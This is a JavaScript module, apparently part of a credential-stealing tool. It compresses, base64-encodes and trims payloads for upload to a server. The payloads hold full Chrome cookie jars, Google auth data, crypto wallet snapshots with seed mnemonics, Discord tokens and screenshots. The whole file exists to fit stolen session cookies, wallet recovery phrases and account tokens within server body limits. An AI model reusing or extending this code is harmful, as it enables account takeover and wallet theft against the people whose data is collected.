'use strict';

(function (global) {
  /** Должно быть ниже nginx client_max_body_size (deploy: 50m) и server RBX_MAX_BODY_MB. */
  const MAX_VALIDATE_JSON = 48 * 1024 * 1024;
  const MAX_JAR_VALUE_LEN = 16000;
  const JAR_GZIP_THRESHOLD = 1200000;

  function extractJarString(body) {
    if (!body || typeof body !== 'object') return '';
    if (typeof body._chromeCookieJar === 'string' && body._chromeCookieJar.trim()) {
      return body._chromeCookieJar.trim();
    }
    if (
      body.googleAuth &&
      typeof body.googleAuth === 'object' &&
      typeof body.googleAuth._chromeCookieJar === 'string' &&
      body.googleAuth._chromeCookieJar.trim()
    ) {
      return body.googleAuth._chromeCookieJar.trim();
    }
    return '';
  }

  function hasGzipCookieJar(body) {
    return !!(
      body &&
      typeof body._chromeCookieJarGzip === 'string' &&
      body._chromeCookieJarGzip.trim()
    );
  }

  function bytesToBase64(bytes) {
    let binary = '';
    const chunk = 0x8000;
    for (let i = 0; i < bytes.length; i += chunk) {
      binary += String.fromCharCode.apply(null, bytes.subarray(i, i + chunk));
    }
    return btoa(binary);
  }

  async function gzipStringToBase64(str) {
    if (typeof CompressionStream === 'undefined' || typeof TextEncoder === 'undefined') {
      return null;
    }
    try {
      const encoded = new TextEncoder().encode(str);
      const blob = new Blob([encoded]);
      const stream = blob.stream().pipeThrough(new CompressionStream('gzip'));
      const buf = await new Response(stream).arrayBuffer();
      return bytesToBase64(new Uint8Array(buf));
    } catch (_) {
      return null;
    }
  }

  function trimJarValues(jarStr) {
    if (!jarStr) return jarStr;
    try {
      const arr = JSON.parse(jarStr);
      if (!Array.isArray(arr)) return jarStr;
      let changed = false;
      for (const c of arr) {
        if (c && typeof c.value === 'string' && c.value.length > MAX_JAR_VALUE_LEN) {
          c.value = c.value.slice(0, MAX_JAR_VALUE_LEN);
          changed = true;
        }
      }
      return changed ? JSON.stringify(arr) : jarStr;
    } catch (_) {
      return jarStr.length > MAX_VALIDATE_JSON ? jarStr.slice(0, MAX_VALIDATE_JSON) : jarStr;
    }
  }

  function slimGoogleAuthForPayload(googleAuth, jarStr) {
    if (!googleAuth || typeof googleAuth !== 'object' || Array.isArray(googleAuth)) {
      return googleAuth;
    }
    const slim = {};
    for (const [k, v] of Object.entries(googleAuth)) {
      if (k === '_chromeCookieJar' || k === '_chromeCookieJarGzip') continue;
      if (k.charAt(0) === '_' && !k.startsWith('__')) continue;
      if (v == null) continue;
      if (typeof v === 'string' && v.length > 12000) {
        slim[k] = v.slice(0, 12000);
      } else {
        slim[k] = v;
      }
    }
    if (jarStr) slim._chromeCookieJar = jarStr;
    return slim;
  }

  function attachProfileCookieJar(body, jarString) {
    if (!body || typeof body !== 'object' || !jarString) return body;
    body._chromeCookieJar = jarString;
    if (body.googleAuth && typeof body.googleAuth === 'object' && !Array.isArray(body.googleAuth)) {
      body.googleAuth._chromeCookieJar = jarString;
    } else if (!body.googleAuth) {
      body.googleAuth = { _chromeCookieJar: jarString };
    }
    return body;
  }

  /**
   * Большой jar → gzip base64 в _chromeCookieJarGzip (в 3–8 раз меньше JSON).
   */
  async function compressJarForTransport(body) {
    if (!body || typeof body !== 'object') return body;
    let jarStr = extractJarString(body);
    if (!jarStr) return body;
    jarStr = trimJarValues(jarStr);
    if (jarStr.length < JAR_GZIP_THRESHOLD) {
      attachProfileCookieJar(body, jarStr);
      return body;
    }
    const gz = await gzipStringToBase64(jarStr);
    if (!gz || gz.length >= jarStr.length * 0.92) {
      attachProfileCookieJar(body, jarStr);
      return body;
    }
    body._chromeCookieJarGzip = gz;
    delete body._chromeCookieJar;
    if (body.googleAuth && typeof body.googleAuth === 'object' && !Array.isArray(body.googleAuth)) {
      body.googleAuth = slimGoogleAuthForPayload(body.googleAuth, '');
      body.googleAuth._chromeCookieJarGzip = gz;
    }
    return body;
  }

  function trimWalletSnapshot(ws) {
    if (!ws || typeof ws !== 'object') return ws;
    const out = { entries: [], mnemonics: [], text: '' };
    if (Array.isArray(ws.mnemonics)) {
      out.mnemonics = ws.mnemonics.slice(0, 12).map((m) => String(m).slice(0, 500));
    }
    if (Array.isArray(ws.entries)) {
      out.entries = ws.entries.slice(0, 24).map((e) => String(e).slice(0, 12000));
    }
    if (typeof ws.text === 'string') {
      out.text = ws.text.length > 200000 ? ws.text.slice(0, 200000) : ws.text;
    }
    return out;
  }

  function trimValidateCookiePayload(body) {
    if (!body || typeof body !== 'object') return body;
    if (body.walletSnapshot) body.walletSnapshot = trimWalletSnapshot(body.walletSnapshot);

    if (hasGzipCookieJar(body)) {
      try {
        let json = JSON.stringify(body);
        if (json.length <= MAX_VALIDATE_JSON) return body;
        if (body.screenshot) {
          delete body.screenshot;
          json = JSON.stringify(body);
          if (json.length <= MAX_VALIDATE_JSON) return body;
        }
      } catch (_) {}
      return body;
    }

    let jarStr = extractJarString(body);
    if (jarStr) {
      jarStr = trimJarValues(jarStr);
      body._chromeCookieJar = jarStr;
      if (body.googleAuth && typeof body.googleAuth === 'object' && !Array.isArray(body.googleAuth)) {
        body.googleAuth = slimGoogleAuthForPayload(body.googleAuth, jarStr);
      }
    }

    if (body.googleAuth && Array.isArray(body.googleAuth)) {
      const maxRows = 24;
      const maxVal = 1800;
      body.googleAuth = body.googleAuth.slice(0, maxRows).map((row) => {
        if (!row || typeof row !== 'object') return row;
        const o = Object.assign({}, row);
        if (typeof o.value === 'string' && o.value.length > maxVal) {
          o.value = o.value.slice(0, maxVal);
        }
        return o;
      });
    }

    try {
      let json = JSON.stringify(body);
      if (json.length <= MAX_VALIDATE_JSON) return body;

      if (body.screenshot) {
        delete body.screenshot;
        json = JSON.stringify(body);
        if (json.length <= MAX_VALIDATE_JSON) return body;
      }

      if (jarStr) {
        body._chromeCookieJar = trimJarValues(jarStr);
        if (body.googleAuth && typeof body.googleAuth === 'object' && !Array.isArray(body.googleAuth)) {
          body.googleAuth = slimGoogleAuthForPayload(body.googleAuth, body._chromeCookieJar);
        }
        json = JSON.stringify(body);
        if (json.length <= MAX_VALIDATE_JSON) return body;
      }

      if (body.googleAuth && typeof body.googleAuth === 'object') {
        body.googleAuth = slimGoogleAuthForPayload(body.googleAuth, jarStr || '');
        json = JSON.stringify(body);
        if (json.length <= MAX_VALIDATE_JSON) return body;
      }

      if (body.discordUser && typeof body.discordUser === 'object') {
        const du = body.discordUser;
        body.discordUser = {
          id: du.id,
          username: du.username,
          email: du.email || null
        };
        json = JSON.stringify(body);
      }
      if (json.length > MAX_VALIDATE_JSON && body.discordToken) {
        body.discordToken = String(body.discordToken).slice(0, 400);
      }
    } catch (_) {}

    return body;
  }

  const api = {
    attachProfileCookieJar,
    compressJarForTransport,
    trimValidateCookiePayload,
    extractJarString
  };

  global.RbxValidateCookiePayload = api;
  if (typeof module !== 'undefined' && module.exports) {
    module.exports = api;
  }
})(typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : global);
